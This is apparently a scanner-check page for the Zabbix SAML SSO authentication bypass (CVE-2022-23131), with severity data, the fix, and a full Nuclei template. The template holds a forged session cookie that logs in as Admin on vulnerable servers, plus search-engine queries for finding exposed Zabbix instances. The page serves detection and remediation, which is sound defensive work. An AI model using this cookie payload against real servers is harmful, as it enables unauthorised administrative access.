Zabbix - SAML SSO Authentication Bypass

Exploited in the wild. Listed by CISA on 2022-02-22; known to be used by ransomware.

criticalseverity

9.8CVSS score

95.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

When SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor because a user login stored in the session was not verified.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Zabbix monitoring system.

Fix

Upgrade to 5.4.9rc2, 6.0.0beta1, 6.0 (plan) or higher.

How to confirm it

Send: GET {{BaseURL}}/zabbix/index_sso.php ; GET {{BaseURL}}/index_sso.php
Positive when: contains(tolower(header), 'location: zabbix.php?action=dashboard.view') AND status 302

Run it with nuclei: nuclei -id CVE-2022-23131 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-23131

info:
  name: Zabbix - SAML SSO Authentication Bypass
  author: For3stCo1d,spac3wh1te
  severity: critical
  description: When SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor because a user login stored in the session was not verified.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Zabbix monitoring system.
  remediation: Upgrade to 5.4.9rc2, 6.0.0beta1, 6.0 (plan) or higher.
  reference:
    - https://support.zabbix.com/browse/ZBX-20350
    - https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23131
    - https://github.com/1mxml/CVE-2022-23131
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-23131
    cwe-id: CWE-290
    epss-score: 0.95683
    epss-percentile: 0.9987
    cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: zabbix
    product: zabbix
    shodan-query:
      - http.favicon.hash:892542951
      - http.title:"zabbix-server"
      - cpe:"cpe:2.3:a:zabbix:zabbix"
    fofa-query:
      - app="ZABBIX-监控系统" && body="saml"
      - icon_hash=892542951
      - app="zabbix-监控系统" && body="saml"
      - title="zabbix-server"
    google-query: intitle:"zabbix-server"
  tags: cve,cve2022,zabbix,auth-bypass,saml,sso,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/zabbix/index_sso.php"
      - "{{BaseURL}}/index_sso.php"

    stop-at-first-match: true

    headers:
      Cookie: "zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(tolower(header), 'location: zabbix.php?action=dashboard.view')"

      - type: status
        status:
          - 302

References

Use this check only on systems you are authorised to test. Where the data comes from